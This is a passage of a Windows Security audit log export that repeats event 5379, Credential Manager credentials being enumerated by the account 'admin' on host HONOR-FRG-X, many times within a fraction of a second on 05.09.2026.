ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.522\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.522\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.522\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.529\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.530\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.532\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.532\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.547\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user 